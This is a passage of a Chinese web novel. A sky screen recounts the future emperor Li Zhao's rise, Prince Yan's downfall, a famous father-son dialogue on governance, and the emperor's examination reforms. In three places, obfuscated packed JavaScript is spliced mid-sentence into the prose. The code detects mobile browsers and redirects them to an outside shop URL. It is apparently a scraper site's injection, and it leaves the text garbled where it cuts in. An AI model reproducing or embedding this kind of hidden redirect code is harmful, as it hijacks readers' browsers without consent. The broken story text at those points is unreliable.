她下意识地低头看了看己这双曾织补渔网、也曾提刀杀人,如今却只能困于锦绣丛中的手,一股陌生而灼热的力量,仿佛正顺着天幕传来的声音,在她血脉深处悄然苏醒。 她......真的可以吗? 但转瞬她又下定决心,眼中迷茫尽散,取而代之的是一种破釜沉舟的锐利。无论可不可以,她都要为自己和女儿,劈开一条血路,这或许是她唯一的筹码了。 19. 圣祖上位史 【经此一役,圣祖彻底进入了高祖和朝臣的眼中。众人才陡然发觉,不知何时起,圣祖那“京城第一纨绔”的名声早已悄然转变,取而代之的是“脚踢权贵、为民做主”的正义之名!】 这话一出,广场上的文武百官心情顿时复杂起来,许多人下意识地就开始在心里盘算。 众大臣:脚踢权贵?!这被踢的权贵,该不会就是我们家那些不成器的子弟吧!一些家中有纨绔儿孙的官员顿时感觉脸上火辣辣的。 再一细想,更觉心惊:好家伙!这不就是需要隐藏时就扮猪吃老虎当纨绔,需要名声时就摇身一变成青天吗?合着好的坏的名声都让瑞王一个人占了,真是好深的心机,好厉害的谋划! 更有甚者在内心哀嚎:只是,瑞王殿下,您怎么能逮着同一批人薅?薅羊毛都不带这样的! 几位皇子,尤其是燕王,看向黎昭的眼神充满了忌惮与不齿:心机太深沉了。把所有人都骗得团团转,再来个惊天逆转,将自己塑造成正义化身,简直无耻! 而被众人用复杂目光聚焦的黎昭本人,此刻却是一脸无辜,甚至有点茫然地在心里嘀咕:啊?我有想那么多吗?没有吧,我当时真的只是看不过眼,顺手行侠仗义而已啊?怎么被天幕一说,显得我好像处心积虑算计了多久似的...... 与此同时,京城各大酒楼、别院中,那些平日与黎昭斗鸡走马、喝酒听曲的纨绔伙伴们,听着天幕的评述,反应更为精彩和复杂。 尽管天幕之前说了许多,但他们潜意识里始终无法将那位功彪史册的“圣祖”与身边这位阴晴不定、玩闹起来比他们还会的瑞王殿下联系起来,这实在太魔幻了。 “噗——哈哈哈!” 某位正在酒楼包间里饮酒小聚的侯爷之子,一口酒直接喷了出来,拍着大腿狂笑。 “脚踢权贵?为民做主?”这说的是我们那位兴致来了能跟咱们胡闹三天、不高兴了立马甩脸子走人的瑞王殿下吗?天幕是不是搞错了?就在天幕出现前,殿下还在跟我比赛谁的蛐蛐更凶呢!” 他笑得前仰后合,却发现包间里的其他人并未附和,反而一个个面色古怪,眼神游移,陷入了诡异的沉默。他脸上的笑容渐渐挂不住了,声音也低了下来:“不是,你们真信了?” 众人作沉思状,一位平日里还算有点小精明的伯府公子咽了口唾沫,艰难地开口:“你们还记不记,大概三年前,礼部侍郎家的儿子因为强占了个良家子,逼死了人老爹和未婚夫,后来被人套了麻袋打个半死,最后事情闹大,他爹都没保住他,他自己也进了刑部大牢。那时候,他刚被殿下嫌弃太闹腾,不带他玩了没多久。” 另一个纨绔猛地一拍桌子,像是也想起了什么:“还有前年,那个特别喜欢开斗奴坊,以看人互相残杀取乐的工部尚书他儿子。后来他家突然就被御史参倒了,好像就是在他某次吹嘘自家斗奴场又死了几个‘贱奴’,惹得殿下当场冷了脸之后不久的事!” “还有去年!”又一人补充道,“在郊外纵马放鹰,肆意践踏庄稼,毁了好几十亩地的那家伙。没过几天,他家马厩就莫名其妙走了水,精心养的那些宝马全受惊跑丢了!当时咱们还笑话他倒霉……现在想想,殿下好像问过他一句‘庄稼毁了,百姓吃什么?’,他没当回事,还炫耀他的鹰抓兔子多厉害......”。 包间内陷入死一般的寂静。 先前那个哈哈大笑的侯爷之子,目瞪口呆,“我勒个乖乖,怪不得殿下总是阴晴不定的,合着是在找由头,看谁不顺眼就发作谁啊?!” 纨绔们面面相觑,都从对方眼中看到了同样的难以置信,但更多的是一种后知后觉的恐惧。 他们猛然意识到,那些被“踢”出他们圈子的人,似乎都犯了某些触及底线的恶行,然后很快就遭到了报应。 至于他们这些人,能一直留在殿下身边玩耍,或许仅仅是因为他们虽然败家,但还没有那么不堪?他们该庆幸吗? 不知是谁,用微弱的声音问出了所有人心中的问题:“咱们现在跑去跟瑞王殿下表忠心,还来得及吗?” 另一人哭丧着脸回道:“表忠心?我现在只求殿下看在我这些年陪玩陪喝、从没干过伤天害理之事的份上,将来清算时,能给个痛快……” 天幕并未理会这地面上的暗潮汹涌,继续以它那独特的语气剖析着: 【但也仅仅是进入了视线而已。若与此时风头正盛的燕王相比,朝野上下,更为看好的显然还是燕王。 我们来盘盘燕王此时的配置:原本压在他头上的太子、齐王、楚王,都已相继倒下;剩下的弟弟们,要么年纪尚小,要么在他看来不成气候;而他自己的外家是功勋卓著的安武侯,手握实实在在的军权!这配置,简直是毋庸置疑的皇储第一候选人,没有之一!】 【于是,他飘了。】 这最后三个字,带着一种近乎预言般的笃定,清晰地传入了每个人的耳中。所有人的目光,又不由自主地,齐刷刷地转向了此刻面色变幻不定、却又隐隐带着几分自得与野心的燕王。 【这位爷可真是个人才,堪称自取灭亡的典范,甚至无需当时的圣祖亲自出手,便将自己送上了绝路。在自认为继承人大势已定后,立马就开始骚操作三连。 第一招:疯狂扩编“太子党”。开始大肆结党营私,拉拢权臣,胁迫中立者。要知道高祖的朝堂中还是中立者占大多数的,大部分是都是跟随高祖的泥腿子出身,管你是哪个皇子的,他们只效忠皇帝。可以想象,燕王这一波,直接把他们得罪了个遍。】 燕王派系的人马,此刻已面露绝望,满脸写着“我跟的怕不是个假主子”。 安武侯直接闭目养神,不想再看这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【第三招:公然挑战皇权!在一手营造出举目四望,唯我独贤的假象后,这位燕王便痛心疾首地慨叹:“这煌煌大晟,除了我,还有谁能担此重任?难道要眼睁睁看着大晟基业,毁在这些怪胎、废物和昏聩之人手中吗?除了我,还有谁能为父皇分忧?还有谁能守住这江山?”】 【总之一整个态度就是:父皇老糊涂了,怎么还不立我为太子?这天下迟早是我的,我现在就要整顿。顺我者昌,逆我者亡,现在不站队,以后就没机会了!他甚至胆大包天,试图染指禁军。 他的这一系列行为简直是在龙椅之侧公然舞剑,在高祖的脑门上疯狂蹦跶。试问,高祖能忍吗?】 【当燕王还在为自己打造的太子梦如火如荼地作死时,咱们的圣祖,已经进展到与高祖在御书房内,对着舆图商讨国策、规划未来的地步了。燕王不败,谁败?】 20. 圣祖上位史 皇帝对皇子间的唇枪舌剑恍若未闻,深邃的目光掠过燕王,也没有对天幕中所说的燕王的一系列行为作出评价。 或许在此刻,燕王那些结党营私、攻讦兄弟的小人行径,与齐王的勾结叛党、毒杀父兄,楚王的秽乱科举、草菅人命相比,确实算不得什么。 然而,经天幕这么一说,所有人心照不宣:燕王,已彻底与储位无缘。莫说太子尚在,即便东宫空悬,朝臣们也需掂量,是否要将身家性命托付给一个给点阳光就灿烂、毫无沉潜之智的皇子。 现在,最庆幸的莫过于燕王党羽。虽然眼瘸跟了这么个主子,在自己的政治履历中留下了缺口,但谢天谢地未来的燕王殿下没有犯下大逆不道之罪,让他们的脑袋还能安安稳稳地在脖子上待着。 不对!从现在开始他们不再是燕王党,他们将回归中立派的怀抱。 全场真正的MVP中立派:现在知道中立了?莫挨老子! 亦有心思活络的官员,眼珠一转,暗戳戳将目光投向了黎昭所在的方向,脸上堆起试探与讨好的笑容。 从龙之功依旧诱人,而这位被天幕认定的圣祖,羽翼未丰,正是最好的潜力股!搏一搏,这次肯定不会错的! 莫名其妙接收到一堆诡异笑容的黎昭,只觉得鸡皮疙瘩掉了一地。你能想象一群三四十岁、乃至四五十岁,平日对你敬而远之的老油条,突然对你露出姨母般慈爱笑容的感觉吗? 太惊悚了! “启禀陛下”,年过六旬的太医院院正声音响起,适时拉回了众人纷飞的思绪,也将所有目光重新聚焦于御座之上,回到了当前最紧要的问题——皇帝和太子中毒。 “陛下,”院正躬身道,“老臣有一弟子曾探访余南,其手札中有载。依臣判断,此毒名为‘枯枝’,乃余南特有之慢性奇毒。若长期服用,会致气血滞涩,脏腑衰竭而亡,其状与自然衰亡无异,极难察觉。” 黎昭心里一紧,脱口而出:“可有解毒方法?” “殿下稍安勿躁。”太医捋了捋胡须,语气带着安抚人心的力量,“此毒既为慢性,需长期服用,方能在神不知鬼不觉间见效。欲达目的,至少需五六年之功,若遇身体强健者,耗时更久。 陛下龙体康健,脉象强韧,还未显现虚弱之象。太子殿□□内虽有些许余毒积存,导致气血略有亏虚,但及时调理,辅以对症之方,清除余毒应无大碍。老臣会即刻传讯,命我那弟子日夜兼程,速速回京。” 此言如同定海神针,让众臣心里悬着的大石终于落地。虽知天幕中陛下元和三十年还在,但帝国中枢稳定,是国本所在。由此,他们更加坚定了远离燕王、谨慎观察的决心。 “恭喜父皇,儿臣就知道父皇洪福齐天,必不会被齐王那小人得逞。”燕王的情商似乎终于占了上风,但也没占多少。 皇帝终于抬眸,目光淡扫过燕王,不喜不怒:“燕王,禁足王府一年,静思己过。着翰林学士每日过府讲学,望你能有所进益。” 燕王一脸不可置信,急声辩解:“父皇,您听儿臣解释!这还不是儿臣干的啊?” 但皇帝已经不再理会他了,转向太医,“有劳爱卿。既如此,太子调养之事,便由你太医院全权负责,务必根治,不得有误。” 太子闻言,一直紧绷的身体几不可察地松弛下来,脸上恢复了些许血色。他一直以为是劳心政务所致,却不想是有人日复一日地想要他的命!这份“兄弟情谊”,让他心寒齿冷。亦让他温润的眼底,悄然凝结出一丝前所未有的冰棱。 “儿臣,谢父皇关怀。日后,便有劳院正费心了。” 黎昭亦暗自长舒一口气。无论是这位对他宠爱有加的父亲,还是那位对他关怀备至的兄长,这份真挚的亲情,他哪个都不愿失去。 【最终燕王被圈禁王府,至此,接连几位皇子倒台,朝堂势力经历一轮彻底的大洗牌,时间已经来到了元和三十二年。这一年,高祖病危,圣祖临危受命,加封太子,代为监国。】 【大家可能觉得突然,怎么就立太子了?其实不然,在圣祖于齐王案里锋芒毕露时,高祖可能就已经注意到了。 别忘了高祖是开国雄主,楚王的案件中圣祖虽然做的隐蔽,但那些说书戏文如何迅速展开全国的,一国之君若想深究,还是能查到蛛丝马迹的。 此后就一直在观察这个儿子,给与他轮转六部的权力,给与他展示自我的机会。当然,圣祖也不负所望,将一切处理地井井有条。至此,便有了后世著名的《高圣叙》】 众臣闻言,不禁暗自揣测,这能流传后世的《高圣叙》究竟所载何事?目光在威严的皇帝与沉稳的瑞王之间逡巡,“高”为高祖,“圣”为圣祖,莫非是……父子二人的叙话? 【此篇可谓千古名篇,大多数人对于此应不陌生,考试必背课文的痛苦相信大家都懂。忘了也不要紧,今日,我们便简要重温其中精髓。 《高圣叙》,顾名思义,是高祖和圣祖之间的谈话。其关键之处,在于时机——此乃圣祖被立为太子的前夜,父子二人于深宫之中,关于治国之道的终极问答。其核心有三: 高祖一问:君权与民心哪个重要? 圣祖答:二者相辅相成,无分高下,重在权衡。民心所向,君权方固;君权稳固,天下乃安,方可反哺民生。然一切前提,在于民心所向。 高祖二问:儒家和法家,谁是更合适的国策? 圣祖答:外儒内法,儒皮法骨[1]。这二者就像是一辆车的两个轮子,缺一不可。对外,须以儒家的仁义为导向,引导风气,教化万民,安定人心,此为外在的“皮”。 对内,以法家的法律制度为基础,让所有人,无论地位高低,知法守法,约束贵族权力,整肃官员体系,此为内在的“骨架”。既用仁政引导向善,也用法度守住底线,方能刚柔并济,此为治国之上策。 高祖三问:如何使大晟长治不衰? 圣祖答:做不到,国家兴替,是历史推动,非人力可挡。唯能竭力保证在位期间,百姓岁有余粮,冬有暖衣,有病可医,居有所安,不历战火。若是可能,当使人人得以学有所识,明辨是非。 我们来分析一波高祖的心理。 一问安心:君权与民心的论述,证明圣祖深知权力的根基所在,非穷兵黩武或一味压榨的暴君之相。 二问定策:“儒皮法骨”四字,精准地将圣祖的治国之道阐述,说服了高祖,足以证明其有驾驭整个官僚系统的雄主之才。 三问明志:那句“无法保证江山永固”,初听大逆不道,细思却充满历史的清醒与悲悯。一个不求虚名、只务实地为民做事的继承人,远比一个好大喜功、追求万世虚名的继承人更可靠。 这三问三答,使高祖坚定了立圣祖为储的决心,第二天诏书下达,圣祖为储,入主东宫。 这三问三答也是圣祖一生的理念写照,他所说的皆一一实现,甚至比他的回答中做到的更多。言行合一,圣祖之名,当仁不让。 广场之上,鸦雀无声。《高圣叙》的三问三答,如同三记重锤,敲在每个人的心上,余韵悠长,激起的反应却各不相同。 一直端坐如磐石的皇帝,身体几不可察地向后靠了靠,紧绷的嘴角松弛了下来,甚至掠过一丝极淡、极快的笑意。 他看向黎昭的目光,不再有审视,而是一种得之我幸的坦然,一个清晰的决断在他心中落定。 然而,他的目光最终落定在太子身上,那眼神中混杂着一丝难以言喻的歉疚与如释重负。 太子在震惊之余,是复杂的情绪。扪心自问,这三问三答他给不出这样的答卷,更遑论做到了。他坚信自己会是一个守成之君,但他也没有信心保证去做到其中的内容,人心易变。他,输得不冤。 燕王的面色由红转白,再由白转青。他听得懂,正因为他听懂了,才感到一种彻骨的寒意和绝望。他发现自己争的只是位置,而老十谋的却是人心。这种思想境界的碾压,比任何阴谋阳谋都更让他无力。他死死攥紧拳头,指甲陷进肉里,却说不出一句反驳的话。 韩王,晋王,他们嫉妒老十被父皇如此看重,但内心深处又不得不承认,这三问三答,他们答不出来,甚至想都不敢这么想。唯独志不在此的赵王,暗自松了口气。 福王,福王没听懂,但他听懂了他皇兄将最后一答实现了,他皇兄会是一个很棒的皇帝。 清流文臣最初对“法骨”略有微词,儒家就是儒家,千年以来皆是如此,怎能轻易动摇。但“儒皮”和“教化万民”极大地安抚了他们,尤其最后使人皆能读圣贤书的理想,更让他们心潮澎湃。 圣君!此乃真正的圣君之相!追随这样的君主,方能名留青史,实现儒者抱负!至于“法骨”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628049|187971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那不是还有“儒皮”吗,不管怎么样对外还是儒家,相信圣贤不会怪罪他们的。 部分务实派和一些能吏:人人知法守法,对百姓讲道德,对官僚讲规矩,简直说到了他们的心坎里! 他们办事时发现大多数阻碍来源于百姓对法律所知太少,解读方法掌握在了有能力识字的阶级,时间一长百姓畏惧官员却不知畏惧的究竟是什么,而权贵者则可从法律中寻找漏洞来逃脱罪责。 他们也厌倦了党争和空谈,渴望一个制度严明、赏罚分明的环境来施展才干,造福百姓。 此刻勋贵与世家心情最为复杂。“约束权贵,肃清吏治”像一把悬顶之剑。若瑞王上位,家族百年基业或将面临前所未有的挑战,他们必须重新评估未来家族走向。 流水的皇帝,铁打的世家,千年世家自有其存续之道。蛰伏以待,总能等到属于世家的机会。 市井小民、田间农夫,他们听不懂什么国策,但他们听懂了“岁有余粮,冬有暖衣,有病可医,居有所安,不历战乱”。短暂的寂静后,是发自内心的欢呼与议论。 “圣祖说了要让咱们吃饱穿暖!” “他还说娃儿也能读书!” “这是个好皇帝!” “希望他早点当皇帝!” 最朴素的民心,在这一刻,已跨越空间,开始向黎昭汇聚。这份无形的力量,将成为他未来道路上最坚实的根基。 而黎昭呢?他感觉自己的灵魂都在震颤。天幕中那个未来的他,所说的每一个字,都精准地击中了他内心深处最真实的信念。 他忽然明白,这正是他心之所向,是他注定要为之奋斗终身的理想国。他要为未来的华国奠基,减少祂被风霜侵蚀的可能,他要这个民族永远傲然屹立,不折不弯。 此刻在宫外的明臻,正于亭中执笔,笔下正是黎昭身着黑裘立于梅林的画面。笔尖倏然一顿,一滴墨迹在梅树上泅开,印出了树上最鲜艳的一朵花,他却恍若未觉,只是抬起头,目光仿佛穿透重重宫墙,落在了那个人的身上。 他唇角不自觉地微微扬起,一抹清浅而笃定的笑意在唇边漾开,化作一句唯有自己听得见的低语: “阿昭,这便是你心中的桃源么?我们会再一次让它成为现实的。” 他似乎从不怀疑自己一定是伴在黎昭身侧的人。就如同日升月落,寒来暑往,这是天地亘古不变的真理。而黎昭身侧一定有明臻,这也是他刻在灵魂里的真理。 天幕仍在继续,声音沉凝,宣告着一个时代的终结与新生的开启。 【同年,高祖崩,在位三十二年,一代雄主就此落幕。新星冉冉升起,圣祖即位,改年号为“天启”。 至于其他皇子,在随圣祖立太子诏书一同颁布的,还有所有皇子即刻就藩的诏命。此乃高祖为圣祖铺就的最后一段路,自此定下大晟铁律:藩王仅享封地食邑,不得干预地方军政。即“分封而不锡土,列爵而不临民,食禄而不治事”[2]。】 “陛下……!” 尽管早有心理准备,但当“高祖崩”三字真切响起时,一种巨大的茫然与悲戚仍瞬间席卷了所有朝臣。他们不由自主地俯身,那一声“万岁”喊得比以往任何一次都更要复杂。 黎昭脑中一片空白,耳畔嗡鸣。他怔怔地望向御座上那个身影,目光描摹着老爹已见斑白的两鬓。 元和三十二年……还有八年。 只有八年了。 一股混杂着心痛、不舍与命运无情的洪流冲刷了他的心防,这不再是遥远的历史记载,而是悬于至亲头顶、正在滴答倒计时的沙漏。 而被预知了死期的皇帝,此刻却显露出开国雄主超乎常人的镇定。他的脸上并无太多波澜,只是搭在龙椅扶手上的手,指节因用力而微微泛白。 八年......足够了。上天终究是眷顾大晟的,不仅给了他一位超越期待的继承人,更慷慨地给予了八年的准备之期。他瞥了一眼下方魂不守舍的黎昭,又扫过神色各异的群臣与皇子们。天幕所言的路径,虽指向光明,但于现实而言,还是太过仓促了。 一股沉静而强大的决心在他胸中升起——这八年,他必须得为这大晟的“天启”之世,扫清一切障碍;更要为那条“儒皮法骨”的新路,夯下最坚实的第一层基石。他要交到黎昭手中的,是一个比天幕预示的更安定、更强大的帝国。 21. 上位要烧三把火 就在满殿悲戚、心神激荡之际,一声听不出喜怒的轻笑自御座传来。 “行了,都起来。”皇帝的声音平静无波,却带着不容置疑的威压,“朕还没死呢,轮得到你们在这里凄凄惨惨的?” 只此一句,那高深莫测的语气瞬间驱散了弥漫的悲伤,提醒着所有人——龙椅上坐着的,仍旧是那位掌控着整个帝国命运的开国之君。群臣心头一凛,纷纷收敛情绪,垂首肃立。 也正在此时,天幕话音一转,开启了新的篇章。 【圣祖上位史就讲到这里,接下来让我们进入正题。天启一年,新皇登基,广开恩科,大赦天下。 新官上任三把火,当皇帝也不例外。圣祖的第一把火,便烧向了维系帝国人才根基的——科举制!】 此言一出,文官队列,尤其是礼部与翰林院的官员们,精神瞬间紧绷。科举,牵动着天下士子的心,更是朝堂格局的源头,新帝竟从此处入手! 【圣祖连下三道诏书。这第一道,便是允许“科举自检”!即在会试放榜前,设立三日公示期。对于自己成绩有异议的给予一次自查机会。为此成立了专门的自查司,此司仅于公示期内存在,由圣祖随机抽调身边的内侍担任,直达天听,办公点就设在张贴皇榜之旁!】 “妙啊!”已有心思敏锐的官员忍不住低呼出声。随机内侍、临时机构、直达天听,这几乎杜绝了被科举利益链提前渗透腐蚀的可能! 【统计名单后,由内侍亲自带领提请学子,直入大理寺!在大理寺卿、当届主副考官、御史台官员及特邀大儒的共同见证下,当场启封糊名试卷!一看字迹是否为本人,二看内容是否真为沧海遗珠!】 这配置……群臣心中凛然。这哪里是“共同见证”,分明是让监考官与学子当场对质!一旦证实舞弊,监考官瞬间便会从座师沦为阶下囚! 【这也是对监考官能力与心性的极致考验!在古代,由谁担任主监考,这届学子就是谁的门生。古来座师享受门生荣耀,自然也该承担失察之责!若约束不了下属,洞察不了舞弊,便等着牢狱之灾吧! 当然,若经此严苛自查,没有发现舞弊现象,监考官便能获圣祖御笔亲书的“至公至明”牌匾,由官府敲锣打鼓送至府上! 哈哈,像不像后世送锦旗?此乃流芳百世的实绩,古人重名,谁能不为这荣誉心动。就算是现如今,有人敲锣打鼓给你送锦旗,也会让人高兴一阵子。】 不少官员,尤其是以清流自诩者,眼睛瞬间亮了!这不仅是荣誉,更是子孙后代引以为傲的政治资本!风险与机遇并存,逼得你不得不成为最公正、最警惕的考官。 【同时这“自检”对学子也是有限制的,一次会试大约有三千到五千学子,最后录取的人数仅有一百左右,若剩下的人都要自检,那就不太妙了。 因此给出的限制为凡自检结果没问题者喜提一次冷板凳,即禁考一次。若累计超过三次,则终身禁考!】 “这方法绝了!”有官员抚掌,几乎要压抑不住赞叹。给予底层学子一线沉冤得雪的希望,又以严苛代价防止无理取闹。既开了申诉之门,又堵死了刁钻之路。这一手,将帝王的平衡之术玩到了极致,既彰显了新政的仁德,又确保了秩序的稳定。 所有目光再次聚焦于黎昭。这位未来的天启帝,其锐意革新与老辣手段,已透过天幕,让满朝文武真切地感受到了。 黎昭也在赞叹,这不就是后世高考成绩复核的加强版吗?他以后真厉害,能想到这一层。自从庞迎的案子结束后,他也一直在思考如何杜绝这个现象,现在不用想了,可以直接“抄”自己的作业了。 而且就看这朝中大臣心动的样子,这个政策也不用等到以后了,他那行事果决的父皇,说不定转眼就会推行。 当然,亦有谨慎入微的老臣抚须沉吟,低声与同僚交流:“此策虽妙,然……若被有心人利用,以此构陷考官,又当如何?” 仿佛正是为了回应这份疑虑,天幕之声再次响起,带着一丝智珠在握的从容。 【我猜屏幕前的你肯定要问了:“那万一有人故意利用这个政策去陷害考官呢?”拜托,咱们圣祖能想不到这点吗?新政早就防着这手了! 首先,科举报名环节就加码了:除了原有的连坐担保,新策规定凡报名者还得上交一张个人画像,跟户籍档案对比。考试当天,对着画像一个一个进场,想冒名顶替?门儿都没有! 进了自查司,第一步也不是让你喊冤,而是先验证你是不是你!由你的同场考生或者地方教育官员来核验身份。 确认是本人后,到了大理寺复核内容那一步,你得当场复述你考试文章的核心观点和逻辑结构!笔迹能模仿,你当场的思想总没法造假吧?这一套组合拳下来,已最大程度地将诬告之路彻底堵死!】 殿内那点细微的质疑声瞬间消散,取而代之的是更多叹服的目光。此策思虑之周详,环节之缜密!官场本身就如战场,都这样了,如果再有疑虑,一点风险都不敢担,干脆辞官回家吧。 随即,天幕话锋一转,语气变得诙谐起来: 【讲个笑话,这政策推行第一年,那位主考官本是顺风顺水,眼看就差最后一位学子自检过关,便能将那“至公至明”的御赐牌匾抱回家……谁知,就卡在了这最后一人身上! 那位学子的文章颇具争议!部分复核官员与主考官认为其文风粗鄙,给否了;而另一部分官员与大儒却力挺,认为其文章虽造句不佳,但针对实事,言之有物,应当入选!双方争执不下,最后闹到了圣祖御前。】 群臣听得入神,这确实是科举中常有的“文风”与“实学”之争。 【圣祖陛下亲自看了文章,拍板:“瑕不掩瑜,录取!” 本来事儿就完了,结果你猜怎么着?那位主考官 “哇”的一声就哭了!哭得圣祖一头雾水,只得问道:“爱卿何故哭泣?”】 画面感极强,不少臣子已忍不住嘴角上扬,不住猜测这会是哪位同僚。 【考官一把鼻涕一把泪:“呜呜呜……臣的御赐牌匾没有了!臣也将要下狱了!还不许臣哭了吗?”】 殿内顿时响起一阵压抑不住的轻笑。 【圣祖当时内心OS估计是:……???哭笑不得,连忙解释:“此策重在防弊,非为苛责。考官见解不同,实属常情,朕岂会因此便将良臣下狱?那岂非堵塞言路,不利学术争鸣?”】 此言一出,不少官员,尤其是曾担任过考官的人,顿感心头一暖,暗自点头。陛下(未来的)竟是如此通情达理! 【可那考官是真委屈啊,心疼牌匾心疼得停不下来。圣祖没辙了,最后想了个折中方案——赐给他半块牌匾,上面就写“至明”两个字,表扬他考场管理得好,绝对没有舞弊行为。】 【哈哈,这便是独一份的“半块牌匾”的由来!现在就躺在博物馆里,绝对的限量版绝版珍藏!所以说,真真是物以稀为贵啊!】 这生动的轶事,如同最后一锤,彻底敲定了此项政策在人心中的分量。它不仅严谨,更带着人情味的变通。这真是一位思维缜密、懂得制衡亦怀仁恕的……未来明君。这让人不禁期待起来科举改革的另外两道诏书。 【不知大家是否听过一句话,叫做 “刑部长官不通律法”?听起来像个地狱笑话是吧?但在古代,这还真是常态。 为啥?因为科举考的是什么?是四书五经,是圣贤文章!里面可不教你怎么判案,怎么治水,怎么算赋税。 结果就是,一个状元可能被派去修大坝,一个榜眼可能被派去管刑狱——纯纯的开局一张嘴,办事全靠蒙! 不过也不能如此说,具体执行还是由当时的技术专家胥吏支撑起来的。他们通常是各级政府部门中终身任职、世代相传的专业办事员和技术人员。不得不说,在古代当官,有时候真的挺魔幻的。】 【这就是圣祖陛下上位前,科举取士最核心的矛盾——学用脱节,专业不对口!选拔的是管理人才不假,但你不能对专业技能一窍不通啊,这不就成了“外行领导内行”了吗?】 【所以,圣祖陛下的第二把火,烧向了这个核心BUG!他的初衷绝非轻视儒学,而是痛感于专业不对口的人才错配,是对百姓的不负责任,是对国力的巨大浪费。于是他的第二道圣旨,叫做——科举分流,分科取士!简单来说,就是古代版的“考公选岗+专业科目加试”。】 【具体怎么操作呢?比如,一个学霸小哥,他的志向就是进刑部,当神探,匡扶正义。OK,没问题!除了必考的四书五经公共课,你还得加试“刑科”——把本朝的律法条文给朕背熟、理解透! 想去吏部搞人力资源?加试管理! 想去户部管钱袋子?加试经济、人口、田赋! 想去工部搞大基建?加试水利工程 看,一分流,这不就专业对口了嘛!】 【当然由于一届科举能留做京官的在少数,这时候肯定有人要钻空子了:啊,我只想做个快乐的地方官,不想留在中央卷,是不是就不用加试了?】 【圣祖陛下摇摇手指表示:少年,你还是太年轻啊! Nonono,都给朕卷起来! 你想做地方官?好啊!那你得懂怎么劝课农桑、怎么恢复地方经济吧?来,加试“农科”,别想着躺平。】 【而且,最绝的是什么?在所有加试的科目里,都会穿插出现法律题目!圣祖曾言:“朕不是要他们成为律法大家,但要他们知敬畏、明底线。手握权柄之人,若不知何事会让人头落地,那便是天下最大的危险。 说白了,这就是一场覆盖全体未来官员的“上岗前普法强制教育”,从根子上尽量减少那种“我是父母官,我就是王法”的糊涂蛋出现。这一招,是不是格局打开了?】 天幕关于“科举分流,分科取士”的话语,如同在滚沸的油锅中泼入一瓢冷水。如果说“科举自检”是方法论的革新,那“分科取士”简直就是动摇根基的理念革命。 以翰林院和礼部官员为首的大多数儒生们,满脸怒气。礼部尚书甚至身体晃了晃,被同僚扶住,颤声道“祖宗之法,祖宗之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628050|187971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法啊!取士首重德行,从心性,才能,智力,思辨多方取才,怎就成了学用脱节,谬论,实乃谬论。 如今竟将律法、经济、工巧之术与圣贤之道并列,此举是要刨了我儒学的根啊!”在他们看来,让学子们去钻研律法算数,是对圣贤书的亵渎,长此以往,士大夫的风骨与气节将荡然无存,朝廷官员将与匠户胥吏无异! 然而,在刑部、户部、工部等实务部门,许多官员的眼中却爆发出惊人的光彩。 一位在刑部苦熬多年的侍郎几乎要老泪纵横,他强压激动,对身边同僚低语:“早该如此!早该如此了啊!下官当年进士及第,分到刑部,面对堆积如山的卷宗和浩如烟海的律法,整整三年战战兢兢,如履薄冰,生怕一个不慎判错了案,枉送了人命!如今带新人更是差点给我气得犯了头痛,若有此制,新人有基础,于国于民,皆是幸事!” 此刻在衙门办公的胥吏激动万分,他们深受“外行领导内行”之苦,此策直击痛点,让他们看到了实务部门地位提升和专业化的希望。 一些品级不高、出身寒微或思想活跃的年轻官员,则从中看到了跨越阶层的新途径。 “若我通晓律法,岂不是比那些只知死读诗书的同科更有机会直入刑部要害?” “我家境贫寒,于经义上难与世家子争锋,或可在户部经济一科上奋力一搏!”新的规则意味着新的赛道和机会,他们内心已经开始盘算如何实现官场的弯道超车。 【此策一出,自不如“科举自检”那般顺利。朝堂之上,大臣们彻底炸锅了!在那些守旧老臣看来,这无异于变乱祖宗之法,违逆圣人之举。一时间,撞柱的撞柱,请假的请假,甚至出现了半数朝臣集体告假的名场面,企图以此逼迫圣祖收回成命。】 随着天幕的叙述,当下朝堂之中,部分思想顽固的老臣已然面红耳赤,呼吸急促,虽未行动,但目光中的愤慨与不认同几乎要化为实质。 对此,皇帝的眸光骤然冷冽,看向下方神色各异的群臣,这已非简单的政见之争,这是对皇权赤裸裸的挑衅。 然而,天幕紧接着传来的,是未来那位圣祖陛下更强硬、更不屑的回应。 【对于此等胁迫,圣祖陛下表示:完全不care。祖宗之法不就是用来变的,不变怎么发展,怎么进步? 至于撞柱的,尽管撞,太医院随时候着,真撞死了,朕给你青史留名!请假的,既然你们不想上朝,那朕便准你们一年的长假,好好将养,不必来了。等一年后,谁知道朝廷还有没有你的位置了。】 这轻描淡写却杀机凛然的话语,让当下朝堂中那些心怀抵触的官员,瞬间冷静了下来。一年?朝廷机器岂会因缺了谁而停止运转? 【朝廷空缺出如此多的要职,总要有人补上的,这是你们自己不干的,可不是我逼的。于是,圣祖借此良机,大肆提拔寒门干吏,广开恩科。 